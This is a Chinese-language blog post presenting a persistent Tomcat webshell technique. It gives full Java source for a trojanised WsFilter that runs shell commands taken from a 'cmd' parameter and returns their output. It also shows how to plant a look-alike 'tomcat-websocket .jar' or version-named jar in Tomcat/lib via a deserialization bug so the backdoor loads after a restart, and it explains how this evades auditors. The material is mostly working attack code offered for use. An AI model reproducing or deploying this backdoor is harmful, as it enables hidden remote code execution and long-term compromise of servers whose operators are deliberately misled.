從一個被Tomcat拒絕的漏洞到特殊內存馬
0x01 介紹
今天研究內存馬相關的東西,偶然間發現一處解析BUG
一句話來說就是:Tomcat啟動時會加載lib下的依賴jar,如果黑客通過上傳漏洞或者反序列化漏洞在這個目錄添加一個jar,重啟后,某些情況下這個jar會被當成正常庫來加載,在一定條件下造成RCE
不一定算得上是漏洞,不過我還是向Tomcat發了郵件嘗試

Tomcat果然拒絕了,原因是需要在其他漏洞的基礎上觸發

這個漏洞其實在一些情況下會有巧妙的利用,本文就圍繞這個利用點來談
0x02 思路
思路來自于之前寫的一篇文章:某知名Java框架內存馬挖掘
從中得到一種思路:將惡意代碼邏輯隱藏到目標框架必須的Filter中
換句話來說,是否能將惡意代碼注入到Tomcat默認存在的Filter中呢
使用c0ny1師傅的檢測工具發現,任何情況都會存在WsFilter

能否構造出一個惡意的WsFilter類注入到依賴庫中
0x03 構造
在目標Tomcat/lib下找到tomcat-websocket.jar

找到WsFilter的代碼,在doFilter中插入一些代碼
我這里是簡單的回顯執行命令,也可以是一些其他邏輯
package org.apache.tomcat.websocket.server;
import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
/**
* Handles the initial HTTP connection for WebSocket connections.
*/
public class WsFilter implements Filter {
private WsServerContainer sc;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
sc = (WsServerContainer) filterConfig.getServletContext().getAttribute(
Constants.SERVER_CONTAINER_SERVLET_CONTEXT_ATTRIBUTE);
}
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
// 不改變原有邏輯,在這里插入代碼
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.equals("")) {
Process process = Runtime.getRuntime().exec(cmd);
StringBuilder outStr = new StringBuilder();
response.getWriter().print("
");
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(process.getInputStream());
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine()) != null) {
outStr.append(s + "");
}
response.getWriter().print(outStr.toString());
response.getWriter().print("
");
}
// This filter only needs to handle WebSocket upgrade requests
if (!sc.areEndpointsRegistered() ||
!UpgradeUtil.isWebSocketUpgradeRequest(request, response)) {
chain.doFilter(request, response);
return;
}
// HTTP request with an upgrade header for WebSocket present
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
// Check to see if this WebSocket implementation has a matching mapping
String path;
String pathInfo = req.getPathInfo();
if (pathInfo == null) {
path = req.getServletPath();
} else {
path = req.getServletPath() + pathInfo;
}
WsMappingResult mappingResult = sc.findMapping(path);
if (mappingResult == null) {
// No endpoint registered for the requested path. Let the
// application handle it (it might redirect or forward for example)
chain.doFilter(request, response);
return;
}
UpgradeUtil.doUpgrade(sc, req, resp, mappingResult.getConfig(),
mappingResult.getPathParams());
}
@Override
public void destroy() {
// NO-OP
}
}
編譯WsFilter.java生成WsFilter.class字節碼文件
然后使用手段把tomcat-websocket.jar里的WsFilter.class替換了
(壓縮文件本身有替換功能,也可以使用工具重打包等)

這時候啟動Tomcat發現一切正常,但已經存在了一個“永遠”的Webshell

審計人員會想方設法審計項目代碼本身,或者使用工具檢查內存馬是否存在
然而他們不會想到是Tomcat必須的WsFilter有問題
0x04 核心
以上邏輯看似合理,實際上有很大的問題:
依賴庫在Tomcat運行的時候被占用不可修改,所以要停下Tomcat服務,然后才能替換依賴庫
如果思路一直放在如何修改被占用的依賴庫,那么這個問題是無解的
但我發現了一種巧妙的方法,來自于Tomcat對Jar包的特殊加載順序
(這里是Windows Tomcat 8的測試環境,其他環境不確定有這樣的順序)
如果我在Tomcat/lib下復制一個tomcat-websocket.jar
區別在于.jar之前加入一個空格:tomcat-websocket .jar
這時候啟動Tomcat會發現tomcat-websocket .jar被加載了
參考圖片中的路徑,其中包含%20

有了突破思路
0x05 利用
假設目前有一個反序列化漏洞觸發點,我們首先要做的是給Tomcat/lib下添加惡意庫
這個庫可以由黑客自行構造,然后轉成二進制數據傳過去
try {
// 從standardContext中得到的resource路徑是tomcat/lib
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)
Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext) webappClassLoaderBase.getResources().getContext();
String path = standardCtx.getClass().getClassLoader().getResource("").toString();
// 得到需要寫入的文件路徑tomcat/lib/tomcat-websocket .jar
String finalPath = path.split("file:/")[1]+"tomcat-websocket .jar";
// 為了測試方便直接讀了文件
// 實戰中可以傳過來base64的二進制數據(文件不是很大只有200K左右)
byte[] data = Files.readAllBytes(Paths.get("C:/JavaCode/Tomcat/tomcat-websocket .jar"));
// 寫入目標路徑
Files.write(Paths.get(finalPath),data);
} catch (Exception e) {
e.printStackTrace();
}
暫時是無法觸發的,不過如果程序添加新的功能或者特殊情況,一定會重啟
(其實服務端的Tomcat重啟概率不算低,很多情況都會重啟)
重啟后會加載惡意的tomcat-websocket .jar文件,這時候已經實現了頑固的內存馬
攻擊方可以守株待兔時不時嘗試下/xxx.jsp?cmd=whoami看結果,一旦有結果說明有重啟,加載了惡意jar
經過測試,發現.等情況也會導致這種問題,不過暫時沒有做深入的研究
如下圖,防守方在審計時,看到FilterName和FilterClass都是Tomcat自帶的,FilterClassFile位于Tomcat/lib下的,是沒有什么問題的
面多眾多的Filter和Servlet情況下,很難會想到是WsFilter出的問題

后來測試發現了一種進一步隱藏的方式:
黑客可以獲取路徑得到tomcat版本,比如我這里的8.5.72,分割路徑即可獲得字符串
然后給新jar包命名位tomcat-websocket-8.5.72.jar
相對于加個.或者空格,這種做法更為隱蔽
代碼在:https://github.com/EmYiQing/MemShell/